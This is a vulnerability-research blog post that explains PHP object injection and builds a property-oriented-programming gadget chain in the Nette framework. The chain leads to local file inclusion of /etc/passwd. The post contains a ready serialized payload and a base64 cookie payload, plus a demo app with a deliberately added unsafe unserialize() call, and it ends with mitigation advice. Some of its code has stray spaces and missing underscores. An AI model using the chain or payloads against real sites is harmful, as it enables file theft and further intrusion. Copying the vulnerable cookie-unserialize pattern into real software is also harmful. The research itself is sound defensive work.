# I Spy an LFI

2022-09-12 · Rory Guidry · 10 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/i-spy-an-lfi

---

### A local file inclusion POP chain walk-through.

### PHP Object injection

PHP Object injection occurs when user input is supplied to `unserialize()`. The misconception is that using PHP's `unserialize()` is bad practice when in reality there are plenty of reasons for developers to serialize and unserialize data and it's sometimes unavoidable when running an application that uses multiple programming languages. It's because of this fact that the entire bug class is still relevant today.

Where in the past the available classes were limited to whatever was included from the file-system, the introduction of auto loaders and many frameworks implementing their own `_spl_autoload_register()_` has increased the scope to automatically include the necessary files needed whenever a new object is created. This means classes that were specifically designed for debugging or development can be utilized without being called in the original application.

A bad actor can abuse internal functionality to trigger another bug class on applications incorrectly checking and validating strings supplied to the function. While PHP core developers have attempted to prevent such a bug class from happening, the awareness of the dangers still elude many experienced and new developers to the language. Many CMS platforms and frameworks rely on serialized strings for storing data. This has caused a surge of object injection vulnerabilities over the past decade. An optional second parameter has been added to help white-list specific class names and to disable object instantiation entirely but this feature is rarely used.

```
unserialize(string $data, array $options = []): mixed
```

If an object gets unserialized, PHP will check for the magic method `__wakeup()` in the class definition and execute accordingly. When the object has no more references or the shutdown sequence is initiated the `__destruct()` method is called if defined or just exit as standard. You'll notice the `__construct()` method is never normally executed when unserializing objects, there are however ways to trigger `__construct` and other magic method to run using gadget chains. For simplicity we will stick to the magic methods of `__wakeup` and `__destruct`.

It's also worth noting that a common patch for object injection bug classes is to implement the `__wakeup` method on the class in question and throw and exception to prevent the class being unserialized

```php
Public function wakeup() {
    throw new \\BadMethodCallException('Unserializing forbidden.');
}
```

### Property Oriented Programming Chains

Property Oriented Programming, or POP for short, chains are to object injection what ROP are to buffer overflows. Small pieces of code created by the developer that can be chained together and manipulated, causing execution to change from what was intended. Every POP chain is unique because it involves gaining control over the properties within an object itself to change the control flow of execution. While object injection vulnerabilities are far known in the PHP space, it takes knowledge of both PHP fundamentals and the software being targeted to create the most sophisticated POP chains. A POP chain can vary in severity from a simple auth-bypass to complete application takeover depending on the classes available in the current scope. Below is a basic example of how control flow can be changed with control of an object.

```php
class QueryBuilder {
    public $query;
    public $bound;
    public function construct(PDOStatement $stmt, $params) {
        $this->query = $stmt;
        $this->bound = $params;
    }
    public function destruct() {
        $this->query->execute($this->bound);
    }
}
class Shell {
    public function execute(string $command) {
        system($command);
    }
}
```

As you can see both classes have reference to a method called `execute()`. If we can change the control flow from calling the intended `PDOStatement::execute()` to `Shell::execute()` we will be able to run shell commands. We can build an attack payload by recreating the object and changing the value of the properties.

```php
class Shell {
    public function execute(string $command) {
        system($command);
    }
}
class QueryBuilder {
    public function construct() {
        $this->query = new Shell;
        $this->bound = 'whoami';
    }
}
print serialize(new QueryBuilder);
// O:12:"QueryBuilder":2:{s:5:"query";O:5:"Shell":0:{}s:5:"bound";s:6:"whoami";}
```

Now when the application unserializes our payload, we have poisoned the object. We can check with the `var_dump()` function in PHP.

```php
var_dump(unserialize('O:12:"QueryBuilder":2:{s:5:"query";O:5:"Shell":0:{}s:5:"boun d";s:6:"whoami";}'));
test.php:16:
    class QueryBuilder#66 (2) {
        public $query =>
            class Shell#65 (0) {
            }
        public $bound => string(6) "whoami"
    }
```

You will also notice that the current user the PHP script is running under should be displayed on the page. We have successfully poisoned the object and executed a `system('whoami')` call.

More advanced POP chains involve chaining multiple classes together to achieve unexpected execution on the target machine, often abusing multiple `destruct()` or `wakeup()` calls to chain more objects and access more methods to abuse.

### LFI POP Chain in Nette Framework

While this POP chain can't (to my knowledge at least) be ran on any default Nette install and relies on a developer calling `unserialize()` on untrusted input. It does highlight what is possible still in modern frameworks. Even what people consider battle-tested and hardened.

We start with the `Nette\Database\Table\Selection` class which has a `destruct()` magic method with a function call inside

```php
# Nette\Database\Table\Selection:: destruct()
public function destruct() {
    $this->saveCacheState();
}
```

Whenever the object has no more references or the shutdown sequence is called, the method `saveCacheState()` is called

```php
# Nette\Database\Table\Selection::saveCacheState()
protected function saveCacheState(): void {
    if (
        $this->observeCache === $this && $this->cache
        && !$this->sqlBuilder->getSelect()
        && $this->accessedColumns !== $this->previousAccessedColumns
    ) {
        $previousAccessed = $this->cache->load($this->getGeneralCacheKey());
        $accessed = $this->accessedColumns;
        $needSave = is_array($accessed) && is_array($previousAccessed)
            ? array_intersect_key($accessed, $previousAccessed) !== $accessed
            : $accessed !== $previousAccessed;
        if ($needSave) {
            $save = is_array($accessed) && is_array($previousAccessed)
                ? $previousAccessed + $accessed
                : $accessed;
            $this->cache->save($this->getGeneralCacheKey(), $save);
            $this->previousAccessedColumns = null;
        }
    }
}
```

The first condition can be forced to evaluate to true by manipulating the object, from here we can start to build our payload using the properties we can control. `$this->observeCache` just needs to be a reference to the current object. `$this->cache` is clearly an object as it calls methods later in the code snippet, for now we can just use `stdClass` as a base and update it later. As long as `$this->accessedColumns` and `$this->previousAccessedColumns` are not the same, the condition should be met.

```php
# Building our Payload
namespace Nette\Database\Table {
    class SqlBuilder {}
    class Selection {
        public $accessedColumns = 1;
        public $previousAccessedColumns = 2;
        public function construct() {
            $this->cache = new \stdClass;
            $this->observeCache = $this;
            $this->sqlBuilder = new SqlBuilder;
        }
    }
}
```

But we still have issues with `!$this->sqlBuilder->getSelect()` call failing, let's look what `SqlBuilder::getSelect()` does.

```php
# Nette\Database\Table\SqlBuilder::getSelect()
public function getSelect(): array {
    return $this->select;
}
```

We're forced with a return type of array however because of PHP's loose typing, we can still force a return since `![]` is equivalent to true. Now we can amend our payload and add a select property for the `SqlBuilder` object.

```php
# Building our Payload
namespace Nette\Database\Table {
    class SqlBuilder {
        public $select = [];
    }
    class Selection {
        public $accessedColumns = 1;
        public $previousAccessedColumns = 2;
        public function construct() {
            $this->cache = new \stdClass;
            $this->observeCache = $this;
            $this->sqlBuilder = new SqlBuilder;
        }
    }
}
```

Awesome, we managed to manipulate the properties to satisfy the `if()` condition, now we step through to the next piece of code.

```
$previousAccessed = $this->cache->load($this->getGeneralCacheKey());
```

You have probably noticed that we have control of `$this->cache`, so we can change the `load()` method that's expected to be called to another that would give us more access. After looking through the framework for more load methods I found this class to be interesting and a potential Local File Inclusion chain we could utilize:

```php
# Nette\DI\Config\Adapters\PhpAdapter;
final class PhpAdapter implements Nette\DI\Config\Adapter {
    use Nette\SmartObject;
    /**
     * Reads configuration from PHP file.
     */
    public function load(string $file): array
    {
        return require $file;
    }
```

The argument being supplied to the `load()` method is the result of the `$this->getGeneralCacheKey()` call, so let's look at `getGeneralCacheKey()` and see what it does.

```php
# Nette\Database\Table\Selection::getGeneralCacheKey()
protected function getGeneralCacheKey(): string {
    if ($this->generalCacheKey) {
        return $this->generalCacheKey;
    }
```

This is just what we need, not only can we force the return value but even better the return type is a string; exactly what we need for file names. Now we can build the full payload.

```php
# Building our Payload
namespace Nette\DI\Config\Adapters {
    class PhpAdapter {}
}
namespace Nette\Database\Table {
    use Nette\DI\Config\Adapters\PhpAdapter;
    class SqlBuilder {
        public function construct() {
            $this->select = [];
        }
    }
    class Selection {
        public $accessedColumns = 1;
        public $previousAccessedColumns = 2;
        public function construct() {
            $this->cache = new PhpAdapter;
            $this->observeCache = $this;
            $this->sqlBuilder = new SqlBuilder;
            $this->generalCacheKey = '/etc/passwd';
        }
    }
}
print(serialize(new Selection));
```

Which brings us to the final payload:

```
O:30:"Nette\Database\Table\Selection":6:{s:15:"accessedColumns";i:1;s:23:"previous AccessedColumns";i:2;s:5:"cache";O:35:"Nette\DI\Config\Adapters\PhpAdapter":0:{}s: 12:"observeCache";r:1;s:10:"sqlBuilder";O:31:"Nette\Database\Table\SqlBuilder":1:{ s:6:"select";a:0:{}}s:15:"generalCacheKey";s:11:"/etc/passwd";}
```

Now we have built our POP chain. Let's create a demo Nette page and see if it includes the contents of `/etc/passwd`. We'll have to introduce our own `unserialize` vulnerability to emulate a developers mistake.

```php
<?php declare(strict_types=1);
require_once DIR     . '/../vendor/autoload.php';
$configurator = App\Bootstrap::boot();
$container = $configurator->createContainer();
$application = $container->getByType(Nette\Application\Application::class);
$application->run();
$request = $container->getService('http.request');
# We are introducing this vulnerability to test our payload
unserialize($request->getQuery('test') ?? 'a:0:{}');
```

When we inject our payload through the test variable we see the contents of `/etc/passwd` displayed on the page. Our POP chain was successfully executed!

### Example Use Case

A common way of storing session data is by serializing arrays of information and setting them as browser cookies. A developer can use these cookies to unserialize the data and convert it back into an array. Even the most popular content managing systems in the past have used a method similar to this; often attempting to obfuscate the data instead of validating it the correct way.

![Nette demo setup](/article-images/i-spy-an-lfi/LFIss1-300x139.png)

Below I have recreated a scenario based on a vulnerability discovered during an audit on a client's recent Nette instance.

```php
<?php declare(strict_types=1);
define(' NETTE ', dirname( DIR ));
require_once NETTE           . '/vendor/autoload.php';
$configurator = App\Bootstrap::boot();
$configurator->addConfig( NETTE     . '/config/common.neon');
$configurator->enableTracy( NETTE     . '/log');
$configurator->setTempDirectory( NETTE      . '/temp');
$container = $configurator->createContainer();
$application = $container->getByType(Nette\Application\Application::class);
$application->run();
$requests = $container->getService('http.request');
$session = unserialize(base64_decode($requests->getCookie('session')));
$id = Nette\Utils\Arrays::first($session);
$name = Nette\Schema\Users::getName($id);
```

With an example of the structure when base64 encoded, decoded and unserialized

![Screen shot of encoded data](/article-images/i-spy-an-lfi/LFIss2-300x81.png)

**encoded:**

```
YTo0OntzOjI6ImlkIjtpOjIzO3M6MTA6InNlc3Npb25faWQiO3M6MzI6ImIxZTVmMTU0Njc4YTY3MWMxN2 E2MzZhODcwY2I4MDhjIjtzOjg6InNldHRpbmdzIjtzOjI4OiJjb29raWVfYWNjZXB0PTEscmVnaXN0ZXJl ZD0xIjtzOjY6ImV4cGlyeSI7aToxNjYxMjczMjkwO30
```

**decoded [serialized string]:**

```
a:4:{
    s:2:"id";i:23;
    s:10:"session_id";s:32:"b1e5f154678a671c17a636a870cb808c";
    s:8:"settings";s:28:"cookie_accept=1,registered=1";
    s:6:"expiry";i:1661273290;
}
```

**unserialized:**

```
Array (
    'id' => (int) 23,
    'session_id' => "b1e5f154678a671c17a636a870cb808c",
    'settings' => "cookie_accept=1,registered=1",
    'expiry' => 166127329
)
```

This scenario has been recreated using minimal setup. I have emulated the profile page to better demonstrate how the data was interpreted on the client system. The client was setting account information in a cookie and later unserializing it to get session data on the current user.

The main parts we need to focus on are these lines:

```php
$session = unserialize(base64_decode($requests->getCookie('session')));
$id = Nette\Utils\Arrays::first($session);
$name = Nette\Schema\Users::getName($id);
```

From this we can see that the developer intended to store the session data in a cookie as a base64 encoded value, to make fetching the session data between requests easier. While this idea isn't uncommon it is bad practice as it allows an attacker to inject objects through the cookie value and change execution flow.

Changing the base64 encoded string from the expected value to a base64 encoded value of our previous POP chain should trigger the LFI bug and load the contents of `/etc/passwd`. Let's try it out.

![Encoded POP chain value](/article-images/i-spy-an-lfi/LFIss3-300x100.png)

Now we edit the contents of the session cookie value to our base64 payload and refresh the page:

![/etc/password displayed on screen](/article-images/i-spy-an-lfi/LFIss4-300x139.png)

```
session=TzozMDoiTmV0dGVcRGF0YWJhc2VcVGFibGVcU2VsZWN0aW9uIjo2OntzOjE1OiJhY2Nlc3NlZENvbHVtbnM iO2k6MTtzOjIzOiJwcmV2aW91c0FjY2Vzc2VkQ29sdW1ucyI7aToyO3M6NToiY2FjaGUiO086MzU6Ik5ldHRlXERJXE NvbmZpZ1xBZGFwdGVyc1xQaHBBZGFwdGVyIjowOnt9czoxMjoib2JzZXJ2ZUNhY2hlIjtyOjE7czoxMDoic3FsQnVpb GRlciI7TzozMToiTmV0dGVcRGF0YWJhc2VcVGFibGVcU3FsQnVpbGRlciI6MTp7czo2OiJzZWxlY3QiO2E6MDp7fX1z OjE1OiJnZW5lcmFsQ2FjaGVLZXkiO3M6MTE6Ii9ldGMvcGFzc3dkIjt9
```

As you can see the contents of **/etc/passwd** are displayed on the page to us, we successfully performed a Local File Inclusion attack with our POP chain.

### Impact

The impact for this POP chain depends on the developers using the Nette framework and how/where they call `unserialize()`. It has the potential to be a pre-auth bug if for example; a developer calls the function to extract theme information from a cookie value. The most common point of entry for `unserialize` bugs is in admin panels and routes where less concern is given for security in favour of portability and performance.

It is difficult to analyse the impact of this chain, but if an `unserialize` bug was discovered in Nette's source code, it would mean all instances running Nette would be vulnerable to the LFI POP chain and would affect all current and future Nette installs while this chain is still abusable. A sophisticated attacker could also leverage the LFI vulnerability from the POP chain to gain further access to the system through log poisoning. A server with the `php.ini` setting of `allow_url_include` set to On would also be vulnerable to RFI or even SSRF through the same chain, but as this setting is off by default we disclose this as an LFI bug.

### Recommendations

There are two ways this vulnerability can be prevented, the first and preferred method is to prevent `unserialize` from unserializing unexpected objects using the second parameter.

To disable all classes:

```php
unserialize($input, ["allowed_classes" => false]);
```

To allow specific classes:

```php
unserialize($input, ["allowed_classes" => [
    'classOne', 'classTwo', ]]);
```

Alternatively the developers of Nette Framework can disable the use of unserializing the `Nette\Database\Table\Selection` class and prevent the chain being called, however this may not be possible as some frameworks allow for some classes to be unserialized:

```php
public function wakeup() {
    throw new \BadMethodCallException(
        'Unserializing Nette\Database\Table\Selection class is forbidden.');
}
```
